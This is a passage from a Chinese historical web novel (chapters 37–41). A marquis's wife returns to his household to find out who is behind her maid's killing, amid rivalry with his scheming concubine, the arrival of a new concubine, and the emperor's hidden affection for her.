当初纪萝才落了胎,正是身子最为虚弱的时候,赵承嘉甚至都不曾等她将身子养好,就急匆匆地将她赶去了庄子,这不就是急着为王玉盈腾地方? 彼时赵倩桐就很是看不过赵承嘉这般做法,只是听纪萝说她也不想再留于侯府,这才没有阻拦。 如今纪萝在那庄子里生活得好好的,凭什么又要被赵承嘉逼着回来? 赵倩桐的话说得难听,赵承嘉面色微沉,可到底没有发作,而是耐着性子解释道:“这是我与阿萝之间的事,你一个未出阁的姑娘,哪里懂这些?” 可赵倩桐并未被他这话糊弄过去,“许多事我或许确实不如兄长明白,可有一件事我却可以确定,那就是嫂嫂她在侯府过得并不好,若她回来,往后也一定不会过得开心!” 她语气很是笃定,因为这是纪萝当初亲口对她所言。 但赵承嘉却只觉得这话可笑,他看着赵倩桐,语气嘲讽道:“你说她在侯府过得不好,可在侯府过得再如何不好,她也是金尊玉贵的侯府夫人,可是去了那庄子里呢,养鸡养鸭,种植农桑,几乎与乡野农妇没什么区别了!” 赵倩桐还想要反驳,可不想赵承嘉又道:“若能有本事护着自己周全,这些也都不算什么了,只是她连身边婢子都护不住,这一回是侥幸捡回了一条性命,可下一回呢?怕是连自个的命也保不住!” 赵倩桐僵在了那儿,王玉盈正巧过来,也正听到赵承嘉此言,她很快想到什么,可却只能压下心底的异样,试探着道:“表哥方才是说姐姐她……” 王玉盈既已嫁入侯府做了妾室,对纪萝自然也改了称呼。 见她过来,赵承嘉也并未避讳什么,而是直言道:“阿萝在那庄子里过得很不好,身边的婢子也受了牵连丢了命,倘若继续留在那处,怕是自个也要出事。 ” 说着,他看向赵倩桐,“阿萝若是回来,至少永宁侯府能护着她,不至于让她出了事,不是么?” 赵倩桐沉默良久,最终只能点了头。 而王玉盈这会儿也已经理清了思绪,纪萝不仅还好端端活着,甚至赵承嘉还要将她再接回侯府来。 这让她原本就颇为不安的心更是猛然揪紧。 赵承嘉从前对待纪萝如何她是看在眼里的,原本她还仗着与赵承嘉从前那几分情意而不将纪萝放在眼里,可如今…… 她不由咬牙,赵承嘉对她的那几分情意已经消耗不少,纪萝却正在庄子里受了许多苦楚,如此只要纪萝有这般心思,便能借着这机会博得怜惜,怕是更能坐稳了侯府正室夫人的位置。 想到此处,她再抬眸看去,此时赵倩桐已经转身离开,而赵承嘉也安排了车夫上路。 她慌忙走上前去,酝酿着试探道:“表哥是要将姐姐接回来了么?” 赵承嘉点头,“快到母亲寿辰了,这也是母亲的意思。” “能一家团圆自然是好的。”王玉盈小心翼翼观察着赵承嘉神色,见他未有不耐之色才继续道:“只是姐姐性子倔犟,这会送去庄子也正是因着顶撞了您,若是这样轻拿轻放,姐姐的性子怕是还不曾被磨平,往后再与侯爷使性子就……” 王玉盈的话还不曾说完,赵承嘉就神色有些古怪地看向她,“阿盈,她被送去庄子不是一日两日,而是已近一月了,庄子里什么都没有,她凡事多是亲力亲为,甚至在这期间还有匪徒闯入庄子,她身边婢子更是当着她的面没了性命,这般搓磨,难道还不够?” 赵承嘉神色看似平静,但眼底却分明带着责问,他觉得王玉盈太过狠心。 王玉盈心底一慌,明白方才自己说错了话,忙解释道:“阿盈只是为表哥着想,也是希望表哥与姐姐能夫妻和睦,却不知姐姐在那庄子里竟是受了这样多苦楚,是阿盈说错了话,阿盈错了,还请表哥勿怪。” 见她这般诚惶诚恐地道歉,赵承嘉到底心软了下来,他先令那车夫动身,而后上前将王玉盈搀起,安慰道:“我知她回来你心底少不了会有些不安,你放心,有我在,即便她回来,你也依旧是我的妾室,这事,没人能更改。” 听得“妾室”二字,王玉盈心下苦涩,可却也不能显露分毫,只得靠在赵承嘉怀中,状似感动地点了点头。 *** 纪萝是在谢元墨离开的第七日见到赵承嘉安排前来接她回侯府的车夫的。 这些时日为了找寻到背后指使那些匪徒之人,她跑了好几回官府。 其实有谢元墨的授意,官府的人对此事已经是颇为上心。 奈何那几个匪徒实在有些本事。 他们一躲进了山林中,就仿佛回到了自己家里一般,任凭如何搜寻也没了踪迹。 所以官府的人自然也没法给纪萝答复。 这般等了几日,其实纪萝也意识到想要寻到那几个匪徒,再通过他们得知背后指使之人的身份已经有些不切实际。 于是也动了回到侯府的念头。 那些匪徒是冲着她来的,而与她有过恩怨之人也都只在上京。 若她有心想要寻着真相,那她便只能回到上京,回到永宁侯府,如此至少才能接近那个真相。 但想到谢元墨,想到他留下的那份书信,纪萝心底到底还有些迟疑。 谢元墨在书信的最后一再强调,让纪萝等他回来。 纪萝倒是并未有旁的念头,只是想着倘若离开,至少或许应当与他道个别…… 若是就这样离开,谢元墨也并不知她去了何处,或者说,即便知道她去了何处,也再不会有见到她的机会,两人或许这辈子也不会再相见了。 总该要好好道个别。 但纪萝不曾想到,赵承嘉安排的人竟会这样快到来。 一切似乎已经容不得她在做什么考虑,因为赵承嘉安排人显然并非是过来与她商议此事的,而只是知会她一声罢了。 她没有选择的余地。 也好,纪萝想着,这样就无需她自己来做这个艰难的决定了。 第38章 纪萝当初来到庄子时不过带了些日常穿的衣物,如今走之时需要收拾的东西也不多。 一个小小的包袱就足以将她的东西装好。 临走前,纪萝去看了芸枝,还给她带了她素日爱吃的点心。 立在坟前,她并未说什么,只是在心里承诺,等她报了仇,定会再回来,至少要亲口将这个好消息说给芸枝听。 四下寂静无声,唯有风声簌簌,似在给纪萝回应。 赵承嘉安排的人催促得紧,纪萝见过芸枝后便匆匆上了马车。 因着路途遥远,纪萝身子即便养好了,也还需得人照料,所以这一趟,纪萝是将吉香带在了身边。 吉香虽与纪萝相识不久,但却是个勤快能做事的,更重要的是她懂得如何调理女子身体,留在纪萝身边确实是有些用处的。 这一路上,也确实多亏了吉香的悉心照料,让纪萝这一路上即便连日奔波,鲜少有歇息的时候,等回到永宁侯府的时候也不过只觉得有些疲累,歇息了两日后便缓了过来。 这天一早,她依着规矩去向王氏请安。 在郊外的庄子住了那样久,如今再回了侯府,再见这些规矩束缚,她甚至有些不习惯了。 但她既然要为芸枝查明那个真相,便不能一直避着。 于是还是做回了往日装扮,一早到了华庆院。 王玉盈也在,她知晓拦不住纪萝回来,这几日心里憋屈得厉害。 也是身边婢子一直劝慰着,说纪萝若是一直留在庄子里反而不好对付,毕竟隔得远,她们即便有心,却也是无力的,更何况还有赵承嘉一直记挂着,连那些匪徒也不曾得手,她们要动手就更难了。 且纪萝只要活着,就永远占着那个位置,王玉盈也经不起这样耽搁。 而若是纪萝回来,这人就在眼皮子底下,不论是想做些什么都会容易许多,这未尝不算是一件好事。 王玉盈听着这一番话,心下觉得也有些道理,这才稍稍安定了些,甚至心底隐约已经有了主意。 这会儿见了纪萝,她甚至唇边含笑地向她行了一礼,规矩礼仪竟是连纪萝也挑剔不出错处来。 纪萝也向她微笑颔首,两人之间关系倒是和睦。 而纪萝此番回来,对她态度变化最大的却是王氏。 一见她来,王氏便主动上前拉着她的手坐下,又左右看了她好一会,才道:“回来就好了,你是承嘉的妻子,这家里你不在,都不像是个家的模样了。” 王氏这话不知是有意还是无意,可总归让王玉盈心里有些不舒服,“妻子”二字就仿佛是两根尖刺,直直地刺在了她的心里。 她唇边依旧含着笑意,只是若是细看,就会瞧出她的笑实在僵硬,也实在刻意。 而纪萝对于王氏头一回的亲昵却不免有些不适应,她不动声色地将自己的手拿开,笑着应道:“媳妇在庄子里,也一直牵挂着侯府。” 王氏并未在意她的举动,只唤来秋和,令她去将自己那只碧玉镯子取来。 秋和应着,不多时便将那只镯子取了过来。 王氏拿了那只镯子,又握着纪萝的手,将那镯子戴在了纪萝手腕上,随即笑着道:“这样的颜色果真你这样年纪的姑娘带着才好看。” 纪萝虽不知这只镯子的来头,可见这玉色通透,更是一丝杂质也无,自然知道不是寻常之物,忙道:“这样贵重的镯子,媳妇不曾立下什么功劳,反而是犯了错,哪里好收下?” 说着,就要将那只镯子摘下来。 可王氏却按住她的手,“你是侯府的正室夫人,身上也该有些能镇得住场子的东西,这也是为了侯府的面子,否则旁人见了,只怕还要议论我们侯府 落魄了。” 王氏都如此说了,纪萝也不好再推拒,只得应了下来。 而这段时日纪萝并不在侯府,自然不知王氏与王玉盈之间的那些龃龉,更不知王氏方才这番话,对于王玉盈而言更满是讽刺意味。 这是在提醒她,她不过是个妾室不当去肖想那些,而纪萝是堂堂正正的正室夫人,那些好东西,唯有她才能配得上。 王玉盈咬牙忍耐着,连指尖已经掐破掌心的肉都浑然未觉。 而此时王氏已经转了话题,叮嘱纪萝要多将心思放在赵承嘉身上,“承嘉心里其实是记挂着你的,这次将你接回来也有他的意思,虽说是为了给我庆贺寿辰,可他若不愿意,我是无论如何也说不通他的。” 纪萝一听他提及赵承嘉,眼底闪过一丝厌恶,但很快恢复如常,又温声因着。 而王氏的话说到此处,便又不免提了孩子的事,“虽说这事急也急不了,可你与承嘉到底成婚这样久了,一直没个孩子定是不成的,上京这些世家公子到了承嘉这个年纪,膝下哪个没有个一子半女的,母亲年岁大了,也希望有孙儿承欢膝下。” 孩子的事王氏并非 第一回在纪萝面前提起,只是却是第一回这般好声好气地与她说着。 纪萝听她提及此事,心底却想起另一桩事来,她有意无意地看了王玉盈一眼,而后道:“前头母亲不是说想给侯爷纳一门妾室么,媳妇觉得,这事倒是可行。” 王氏没料想到纪萝会主动提了这事,倒是有些意外。 而一旁王玉盈面上那些强装出的笑意早已维持不住,但因着在王氏面前,又不能发作,一张脸上各种神色,实在古怪。 纳妾这事其实也正是说中了王氏的心坎,她原本便有这般念头,如今纪萝提及,她自然顺水推舟道:“这事我们倒是想到一处去了,这妾室倒也用不着门第多高,只是要是正经人家的姑娘,性子柔顺些的,最要紧是好生养的,能尽早给承嘉添个孩子是最好。” 说着,她看向纪萝,“等孩子生下来,也总要养在正室身边才好。” 王氏如此说,是担心纪萝会介意。 毕竟这样一来,侯府的长子便是妾室所出了。 可纪萝哪里会在意这些,她只笑着道:“媳妇倒是不懂这些,不如还是由母亲来操持,为侯爷选个贴心的人儿在身边伺候最好。” 纪萝这话说完,王氏面上已经是堆满了笑意,连连点头道:“秋和前几日还与我说她老家有个表妹,性子温顺,模样也好,让我看看能不能给她留意一桩婚事,过两日我让秋和将人带来看看,若是合适便将人留下。” 纪萝自是答应着。 如此一番下来,王氏对纪萝已经是颇为满意。 毕竟她不仅主动提了纳妾之事,甚至还将这事尽数交给王氏来做决定。 倘若是旁人,即便不得已答应给夫君纳妾,也总会想着安排自己身边的人为妾,这样日后也好拿捏。 可她却没这样多心思,只由着王氏来做安排,王氏怎能不满意? 至于此时的王玉盈是如何作想,王氏却是浑然不在意的,连她实在难以稳住心神,寻了个由头起身告退也都未曾搭理。 纪萝瞧着,心下也觉得有些好笑。 要知从前王氏对王玉盈实在怜惜,便是在赵承嘉面前,也多是护着她的,可如今呢?王玉盈算计了赵承嘉一回,王氏与她的那些所谓情份就彻底消散了个干净。 两人间更像是仇人一般了。 王氏又拉着纪萝说了一会儿话之后,纪萝见时辰不早,想着寿宴之事有许多还需得她着手安排,便行礼告退。 王氏也觉困倦,便也没再留她。 等出了华庆院,走到廊道的拐角处,不想竟是碰见了王玉盈。 王玉盈前头便出了院子,这会儿却依旧等在这儿,纪萝心下明白,她是在等自己。 果然王玉盈见纪萝过来,便主动迎了上来,等到了纪萝跟前后却顿了片刻,而后才有些勉强地屈了屈身子,算是行了礼。 这样的礼节与方才在华庆院自然是不能相比的,可从前还是府中表小姐时,王玉盈是从未在她面前讲究过这些礼节,如今这般,想来日子过得并不算好。 纪萝如此想着,却见王玉盈眼底多了几分恶毒,她盯着纪萝,做出惋惜之色来,“听说姐姐身边的芸枝在庄子里被匪徒所伤,丢了性命?” 纪萝冷冷瞥她一眼,又听她“啧啧”两声,接着道:“那芸枝才不过双九年华罢,听说还不曾嫁人,这般年纪轻轻就没了性命,也实在是可怜啊!” 她心里憋着一肚子气,方才听得纪萝主动向王氏提了纳妾之事,更是觉得纪萝是故意如此,是存了让她不好过的心思。 出了华庆院后,她越是想着越是气恼,即是自己不好过,便也不想让纪萝好过。 于是故意提了芸枝之事。 她说完这话,更是目光直直地看着纪萝,大约是想等着看纪萝悲痛难忍的狼狈姿态。 可纪萝却只是轻笑一声,“是啊,所以我回来了。” “那庄子那样危险,我哪里敢继续留在那种地方,比起连自个的安全都保证不了,夫君只是纳了一门妾室好像也不是什么大不了的事情罢?” 第39章 赵承嘉与王玉盈当初的那桩事闹得轰轰烈烈。 时至今日,上京依旧有不少他们二人间的传闻。 倘若不是从前王玉盈与袁庆生的事也闹得轰轰烈烈,让不少人记忆犹新,恐怕赵承嘉王玉盈这般闹了一遭后也会有不少人觉得他们最是般配,可惜有纪萝这个原配夫人横在二人中间。 但却无人质疑赵承嘉对王玉盈的心思。 毕竟堂堂永宁侯府的侯爷,却能为一个女子做到这个份上,无论是名声还是旁的都全然不在乎了,更为要紧的是王玉盈甚至前头还成过一回婚,这般条件之下,赵承嘉还能将身着嫁衣的王玉盈当众带回来,除了对她情根深种念念不忘之外,哪里还有旁的缘由可做解释? 这事闹得越大,纪萝的面子尊严便更是被踩进了泥地里。 这场闹剧中,赵承嘉与王玉盈之间那段情事为人所津津乐道,而纪萝其实是那个被忽视的存在。 即便有人提及她,也多不过是为她叹息一声,说她实在可怜罢了。 成婚三载,夫君心底一直装着旁人,倘若这事能瞒上一辈子也就罢了,偏偏如今是以最为难堪的方式闹得人尽皆是。 她自然是最为可怜的。 而王玉盈听得那些言论,却反而更是得意。 她以为,纪萝也会因着此事觉得尊严尽失,心底万分痛苦,更是深恶痛绝旁人在她面前提及此事。 但此时,纪萝却轻飘飘地说起这事,更是将这桩闹得轰轰烈烈的事说成只是夫君纳了一个妾室? 纳妾之事,莫说是在上京这样的富庶之地,便是偏僻乡村里稍稍有钱的人家,掏出银子来买个妾室都不过是寻常之事,纪萝这样说,却是无形中将王玉盈贬低了一通。 将赵承嘉为她所做的那些让所有人都为之惊叹之事说得这样寻常,更是忽略了赵承嘉对王玉盈的那些情意,只将她当作寻常妾室,仿佛不值一提,如何不算是一种贬低呢? 王玉盈听出这话里头的意思,面色也不由得有些难看,却还是强撑着道:“姐姐能这样想自是最好,再不要闹得身子还没好全就被赶去了庄子,也让表哥烦心了。” 纪萝弯唇一笑,却是稍稍靠近了王玉盈,闻着她身上纵然被略显刺鼻的香料掩盖着,却依旧微微发苦的药味,她轻声道:“妹妹说得在理,只是妹妹才应当好生养着身子,否则等新人入了侯府,只怕是少不了要分走些侯爷的心思了。” 一听纪萝提及纳妾之事,王玉盈面上最后那抹强撑着的笑 意也沉了下来,留下句“多谢姐姐提醒”便面色难看地转身走了。 纪萝的话实在是戳中了她的心,毕竟从落胎之后,她身子确实一直不好,那孩子在她腹中留了有四个月,这般落了胎,对她身子的伤害自然是极大的,这是她无论如何养也都养不回来的。 而新纳的妾室,她即便不用想也知道,定是样貌上乘又正值风华正茂的年岁,到时候那妾室当真生下长子,长子又养在纪萝名下,她们人人皆是得了好处,却唯有她一人不仅什么也得不到,反而失了赵承嘉的心。 这令她如何能不气恼? 一旁凝露见她神色不虞也一直小心劝慰着,但王玉盈始终面色沉沉,直至回了观荷院才开口道:“今日去药铺抓药时再帮我多带一包药,我前头和你说过的。” 凝露向来算是胆子大的,可一听王玉盈提及此事,神色中竟是有几分害怕,“姑娘当真要这般做么?若是成了也就罢了,可若是不成,怕是侯爷也会因此……” 后边的话凝露并不曾说出口,只是这意思王玉盈却是明白的。 眼下她在这侯府中,能依仗的唯有赵承嘉对她的那几分情意,她做这事若是不成,那这最后的几分情意也将会被消磨殆尽。 到时候她在这侯府,过的恐怕就是生不如死的日子了。 可即便如此,王玉盈却依旧并未迟疑,她咬紧牙关道:“没有别的法子了,只要我们小心些,定不会出了岔子。” 见凝露依旧有些迟疑,她眼底闪过一丝不耐,“怎么还不快去?” 见她发作,凝露不敢再说什么,只得应了下来。 *** 纪萝从华庆院回来之后便令人去将从前帮她盯着秦敬的阿福找了过来。 这人做事稳妥,在上京的街头小巷都有些熟识的人,让他帮着打听消息是最方便不过。 他过来时听说芸枝已经不在的消息,一时也不由愣了神。 从前还在侯府做事时,他与芸枝便有些交情,后来也是芸枝将他叫来帮着纪萝做事,两人间自是关系不错的。 却不想这一番从那庄子回来,芸枝却是再回不来了。 “芸枝不能这般不明不白地丢了性命。”纪萝道:“如今叫你过来,也是想让你帮忙盯着一人的动向,我总觉得那些匪徒与她是有些关系的。” 阿福闻言,神色马上凝重许多,他端正拱手道:“夫人请吩咐便是。” 纪萝便将王玉盈之事说了,“那匪徒是冲着我来的,与我有过恩怨之人其实不多,除却她之外,其余人即便对我或许厌恶,但都不至于要置我于死地,唯有她有理由这样做。” “不过我实在不知她如何能接触到那些匪徒,手中也并无证据能证明此事,所以只能请你帮帮忙了。” “夫人客气了。”阿福垂首,声音微微发沉道:“芸枝于我而言仿若妹妹一般,我只感谢夫人能给我这个为她报仇的机会。” 见阿福如此,纪萝也不由想起从前,两人在自己面前有说有笑的模样,眼眶不自觉有些酸涩,半晌,她点了点头,一字一顿道:“好,我们一起将背后的凶手揪出来,绝不让她好过。” 稀疏的阳光透过窗缝洒下来,一半落在阿福弯下的肩膀上,一半落在纪萝挽起的发间,明亮而又刺目,让人无所躲藏。 阿福前脚刚离了青萝院,后脚赵倩桐便到了。 她其实更早便想过来看望纪萝了,只是那时候纪萝刚回来,她怕打搅了纪萝,所以硬是等到现在才来。 一见纪萝,她便过来亲昵地挽着纪萝的手,一张嘴不曾停歇地与纪萝说起了这段时日侯府里发生的事儿。 “嫂嫂,你是不知母亲因着王玉盈那事发了多大的火,从前母亲有什么好的不想着她,如今呢,见她多花了银子都要叫她过去训话。”赵倩桐越说越是起劲,“不过也是她自找的,眼下连个侧夫人的位置都没捞着,也没得到什么好处,真不明白,好好做从前那个表小姐不好么,偏偏要闹得大家面子上都过不去。” 纪萝轻轻摇头,道:“表小姐的位置只是一时的,侯府的地位钱财也都与她没有干系,她自是不甘心的。” 赵倩桐一愣,思忖片刻点头道:“好像也确实是这个道理。” 纪萝见她这般认真,不由笑了,“想得到一些东西去争取自然是没有错的,只是她这样的算计手段却是不成,到头来落得这般下场,也只能说是求仁得仁了。” “嫂嫂说得不错。”赵倩桐又是连连点头,“王玉盈这般算计下来,也只是落得个妾室的位置,母亲不喜她,连我哥好似对她也不如从前……” 说起赵承嘉,赵倩桐又转头开始抱怨起他来,“我哥做事也实在荒唐,为了个这样的人竟那般不顾一切,还害得嫂嫂你吃了不少苦头,有时候我当真想敲开他的脑子,看看里边到底是怎么长得!” 赵倩桐原本就是个话多的,而这些时日纪萝不在,她也确实有许多话憋在心里打算要与纪萝说。 毕竟这段时日所发生的事情也实在太多,而纪萝不在府中,也自然就无从知晓这一切了。 这会儿好容易与纪萝再见,即便是到了用晚膳的时候,她的嘴也没有停下来的时候。 晚膳后,赵倩桐索性留在了青萝院,说是今晚要与纪萝一起睡。 纪萝见她还不曾说到尽兴,便也笑着答应了下来。 两人洗沐之后便躺在了床榻上,赵倩桐这会儿已是说到王玉盈的母亲李氏为了她女儿位份的事情找上门来,在王氏跟前说了许多不中听的话,想让王氏松口给王玉盈一个侧夫人的位置,却不想到最后王氏也只应下妾室的位置,甚至说王玉盈根本不配侧夫人之位。 李氏无法,只得灰溜溜地走了。 这些事赵倩桐是不曾亲眼见着的,只是她听说了有这一回事后就让人去华庆院打听了一番,将事情来来回回都弄了个明白。 那几日她正因着王玉盈做的那些事对王玉盈颇为厌恶,得知有她的热闹可看自然是不能错过的了。 所以才能将这些时日所发生之事原模原样地在纪萝面前尽数说了。 赵倩桐正说得起劲,外间却突然传来叩门声音,有婢子在外间禀报,“夫人,侯爷到了。” 第40章 纪萝微微皱眉,赵倩桐也因话被打断有些不满,她拔高声音向外间道:“哥,你今晚去陪你的王玉盈罢?我今夜要睡在这儿。” “胡闹!”赵承嘉立在外间,听赵倩桐这样说不免有些不高兴,“你留在这儿做什么,天色晚了,回你院中歇息去!” 可赵倩桐全然没有要听他的话的意思,她顺势搂着纪萝的腰,撅起嘴道:“我才不回去,我今夜就要睡在这儿!” 见此景象,纪萝心底其实是悄悄松了口气的,即便她知道既然回了侯府,与赵承嘉亲近也是难以避开的,可从失了那个孩子以后,纪萝对赵承嘉便再无情意,甚至到了后边,经历了那些事,她对赵承嘉甚至生出些厌恶来。 倘若能避开与他有亲近之举,自然是更好。 “侯爷。”纪萝出声道:“我与倩桐许久不曾见了,她也有许多话要与我说,今夜,她便歇在青萝院罢。” 纪萝都已经开口,赵承嘉也不好再多说什么,只能拂袖走了。 听着外间已经没了动静,赵倩桐才确定赵承嘉已经是离开,神色这才缓和下来,只是又不免说了好些他的坏话。 两人就这般聊到了后半夜,直至倦意袭来才撑不住睡了过去。 *** 华庆院。 秋和前头虽在王氏面前提了几回这个表妹,但却是不曾领过来给王氏瞧过的。 如今王氏有了将她纳作赵承嘉妾室的念头,自然是要见一见这位表妹。 秋和虽原本当真只存了给自个表妹求一门好亲事的想法,可听王氏说想让表妹做妾室,她心底也是欢喜地不行。 即便只是妾室,可到底也算是攀上了永宁侯府,这样的好事可是从前想也不敢想的。 倘若往后还能给侯爷生个孩子,无论男女,这身份都是全然不同了。 所以王氏才提了这 事,第二日,秋和就将自个表妹领了过来。 表妹名唤瑜夏,与秋和一样是上京人士,家中在上京有个小铺子,家世算是清白的。 这些事,王氏都提前了解过,也自然是满意的。 这会儿听说秋和领着瑜夏过来,王氏也没让人久等就吩咐她将人带进来。 瑜夏是头一回来永宁侯府,又知表姐是要将自个引荐给侯府的老夫人,心下自然是紧张地不行,规规矩矩行过礼之后始终是微微垂眸,并不敢抬眼看向王氏的。 王氏见瑜夏礼数周全,心底对她印象已是不错,只是低着头,却不曾看清容貌,于是道:“抬起头来我瞧瞧。” 瑜夏温言,轻轻抬起头来。 王氏端详了片刻,不由点了头。 其实这瑜夏的样貌并非极为出众,只说容貌,她与纪萝是万万无法相比,只能说与王玉盈不分上下。 但比之王玉盈,这瑜夏不仅气质柔和沉静许多,因着年纪尚小,又多了几分天真纯善,这便是最为难得。 若是府中人个个都是相似模样,连性格也相差无几,想来便觉得无趣。 总要有些新鲜的事物才好。 如此看来瑜夏倒是合适的。 想到此处,王氏又多问了几句瑜夏可通诗书,又会些什么技艺之类,瑜夏都一一答上来,虽神色有几分紧张,可也算大方。 王氏越是聊着,心下便也越发满意,到后边已经是拉着瑜夏坐到了身边来,“你入了府之后心思只管放在承嘉身上便是,最要紧的是能怀个孩子,只要能给我们侯府添个子嗣,侯府不会亏待了你的。” 瑜夏还是未出阁的小姑娘,听着王氏这毫不避讳的话,脸颊已是染上红晕,可眼眸却微微发亮,认真地点了头。 这瑜夏对于王氏而言是个知根知底的,家世清白年纪也合适,今日见过一回之后更是对她的样貌性情都颇为满意,所以当下便定下了这事,让瑜夏住进了晴芳院里。 这晴芳院虽不算大,可却正好是挨着赵承嘉书房的,位置自然是最好。 瑜夏听得王氏这般安排之后,自是欢天喜地地搬了进去。 只是秋和却显然有些担心,等瑜夏走了之后才迟疑着与王氏开口道:“您还不知侯爷如何想法,就这般定下了这事,侯爷若是知道了,万一与您置气,这……” 瑜夏毕竟是她表妹,她不得不考虑得周全些。 倘若能入了侯府成了妾室自然是好事,可万一侯爷怎地都不肯应下这事,到时瑜夏又已经入了府,那往后…… “这事我做了主。”王氏看向秋和,“今夜让承嘉过来用晚膳,也让他见一见瑜夏。” 有了王氏这话,秋和心底稍稍安定,忙应了个“是 当夜,赵承嘉到了华庆院时瑜夏已经在这陪着王氏聊了好一会天了。 她话不算太多,但人却是聪明的,每每说话也总能说中王氏的心坎。 说话间,王氏已经夸了她好几回,说她有秋和的影子,是个懂事的。 瑜夏这般听着,又连连称是王氏谬赞。 这边正聊着热络,底下便来人传话,说是赵承嘉到了。 一听这话,瑜夏捏着锦帕的手微微紧了紧,目光中虽有期待,可更多的却是紧张。 王氏瞧出她心下紧张,还轻轻拍了拍她的手以示安慰,而赵承嘉便也正在这时大步走了进来。 瑜夏连忙起身,向赵承嘉见了礼,“侯爷安好。” 赵承嘉神色一顿,下意识看向王氏,“母亲,这是……” 眼前女子装扮显然不是府中婢女,但这样貌瞧着又是眼生,应当也不是哪家亲戚,所以心下觉得奇怪。 王氏笑道:“这是秋和的表妹,今日才到府中来,你们还不曾见过呢。” 听得王氏这一番介绍,赵承嘉才回过神来。 只是秋和虽为王氏贴身的婢子,可到底也不过是个婢子而已,而这瑜夏也不过是个婢子的亲戚,怎地这般抬举? 赵承嘉还不曾想明白这其中的缘故,王氏便接着道:“往后瑜夏便留在侯府吧,我做主将她纳作你的妾室……” 这下赵承嘉才明白过来,不由皱眉,“母亲,我何曾说过要纳妾?” “我是你的母亲,这样的小事我还做不了主了?”见他不肯答应,王氏也有些不高兴。 若是别的,见自个母亲愠怒,赵承嘉或许也就妥协了,可这事他是当真不想答应,“母亲,我前头才纳了阿盈做妾室,这才隔了多久,何必又要纳一房妾室?” 一听赵承嘉提及王玉盈,王氏的面色越发沉了下来,“她那样的人你都乐意迎进门来,瑜夏这样的好姑娘怎么就不能入了侯府的门?” 赵承嘉还想再说些什么,王氏却已经颇为不悦地将这事定了下来,“人我都已经接到侯府来了,你就算再不愿意,这事也都定下来了。” 她说着看向赵承嘉,“前头你与王姨娘的事闹得多难看你也是知道的,若不是事情闹到那份上,我是万万不会答应让她那样的人入了门,眼下再有几日就是我的寿辰了,你若还是个孝顺的,就别在这事上边怄气了!” 王氏的话已经是说到了这份上,甚至连孝道都搬了出来,赵承嘉即便心底再如何不情愿,却也只能勉强点了头。 这一顿饭吃下来,他心底实在是不舒服,草草用过之后便寻了由头离了华庆院。 一旁瑜夏虽已经有了心理准备,可被如此对待,也依旧不免有些难堪。 王氏瞧出她心里不好受,先令秋和去取了首饰当作赠礼,又说了好些安慰的话,“承嘉的性子就是这样,眼下他还不知你的好处,往后你多在他身上费些心思,想来用不了太久,他也就明白了。” 瑜夏收下那一对上好的珍珠钗子,心底已经是顺畅许多,又听得王氏这话,自然是垂首应着。 她也不是个傻的,自然知道唯有得了赵承嘉的宠爱,为他怀上孩子往后在这侯府的日子才能好过。 她样貌身形都是上乘,年纪也小,即便还未曾见过府中那位夫人与姨娘,她也有信心能将二人比了下去。 到时候侯爷的目光也迟早会落到她身上。 *** 沈国公府。 沈老夫人身子向来不好,最近朝中动乱,老夫人受了惊,又在病榻中缠绵了数日。 好在后边一直细心调养着,如今身子也算恢复了大半。 谢元墨一直记挂着老夫人,得了空闲便到了沈国公府。 他到时,沈文清也正好在。 因着沈老夫人病倒,可将这些后辈吓得不轻,沈文清前几日便回了国公府,一直陪在沈老夫人身边照料着,算到今日也半月余了。 谢元墨过来先问过了沈老夫人病情,得知身子已经好转也算松了口气。 他难得有空过来一回,便陪在沈老夫人身边与她说说话。 沈老夫人想起此番惊险,先是说了景王的不是,“我早知他心底存了别的心思,当初你还不曾登位,他就喜欢背地里做些动作,后来你登了位,他倒是越发猖狂起来。” 说到此处,又是点点头,“不过如今彻底了结了也算是好事,这一块腐肉终于算是挖了个干净。” “祖母这话说得不错。”沈文清接着道:“表哥不在的这些时日,他们一家人可实在嚣张,瞧那模样是打定主意以为那位置就是他们的了!” 说着,她语气中也多了几分得意,“这曾想最后落得这番下场。” 谢元墨闻言有些无奈,不过景王一脉做了不少错事,沈文清这话说得倒也没错。 他正应着,就听沈老夫人不知怎地转了话题,又问起立后之事,她拉着沈文清的手,颇为无奈道:“你母亲因着这事急得不行,只要见了我,便总念着这事,你看看文清年纪比你还小些,都已经成了婚了,你这事却还是没影的。” 谢元墨一如往常般含糊应着,沈文清却好似想到什么一般,忽地问道:“表哥你喜欢什么样的女子?” 她颇有些自信道:“上京与我相熟的小姐可不少,你若有有喜欢的类型,我也可以帮忙做个介绍!” “这也是个法子。”沈老夫人点了头,“从前也一直不曾听你说过你喜欢什么样的,你母亲对此怕也是一无所知,难怪选来的那些世家小姐你都不喜了。” 她看向谢元墨,语调中也多了几分认真,“你和外祖母说说,是喜欢什么样的姑娘?” 听得这话,谢元墨的神色 顿了一瞬,而后几乎是下意识地将心底出现地那人模样描绘出来,“她的眼眸很亮,脸小小的,肤色比寻常人更白皙些,身量纤细,比文清稍高一些,不喜繁复……” “等等……”沈文清越是听着越发觉得谢元墨说的这人有些熟悉,她绞尽脑汁地回忆着,终于想起祖母生辰那日,那位落了水的永宁侯夫人。【你现在阅读的是 】 40-50 第41章 她不由微微睁大眼睛,眼底也多了几分难以置信,“所以表哥你不会还惦记着……” 后边半句话她还来不及说出口就被谢元墨打断,他轻咳一声,佯装若无其事道:“没有特意说谁,只是觉得这样的女子更合心意些罢了。” 可即便他如此说,沈文清依旧是一脸了然模样。 毕竟谢元墨将人描绘地这样具体,这背后肯定有对应之人,而她也恰好见过一个。 更为重要的是那日那位永宁侯夫人落了水,正是他让自己去救的人。 又是让自己备下与那位夫人身上所穿相似的杏色衣裙,又是特意吩咐了要婢女前去送这衣裳,更是一再催促生怕自己耽误,显然是存了别的心思。 那时沈文清便隐约有所感,如今看来,果然不错。 只是到底那位是永宁侯的夫人,谢元墨这般心思,不知最后能不能有个好结果。 沈文清虽心里有了答案,可也知现下毕竟是在沈老夫人面前,倘若当真将这事说破,怕是不免让老夫人担心。 老夫人眼下身子不好,自是不应为这事担忧。 于是沈文清只得收敛了神色。 谢元墨也没将话继续往下说下去,沈老夫人虽觉得有些古怪,也再问了几句,不过都被谢元墨含糊过去。 等从沈国公府出来,下属迟疑了几番,到底上前来向谢元墨禀报,“陛下,纪姑娘她……回侯府了。” 谢元墨眸色一沉,“不是安排了人护着她吗?怎么还让赵承嘉将她带回了侯府?” “这次好似是纪姑娘愿意的,所以我们的人也不好强拦着……”下属的话还不曾说完,谢元墨就已经大步走了出去,显然已经是极为不悦。 